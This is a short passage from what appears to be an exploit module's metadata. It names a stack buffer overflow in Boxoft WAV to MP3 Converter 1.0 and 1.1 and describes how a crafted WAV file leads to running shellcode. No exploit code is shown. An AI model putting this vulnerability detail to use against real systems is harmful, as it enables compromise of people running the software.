'Name' => "Boxoft WAV to MP3 Converter v1.1 Buffer Overflow",
'Description' => %q{
This module exploits a stack buffer overflow in Boxoft WAV to MP3 Converter versions 1.0 and 1.1.
By constructing a specially crafted WAV file and attempting to convert it to an MP3 file in the
application, a buffer is overwritten, which allows for running shellcode.
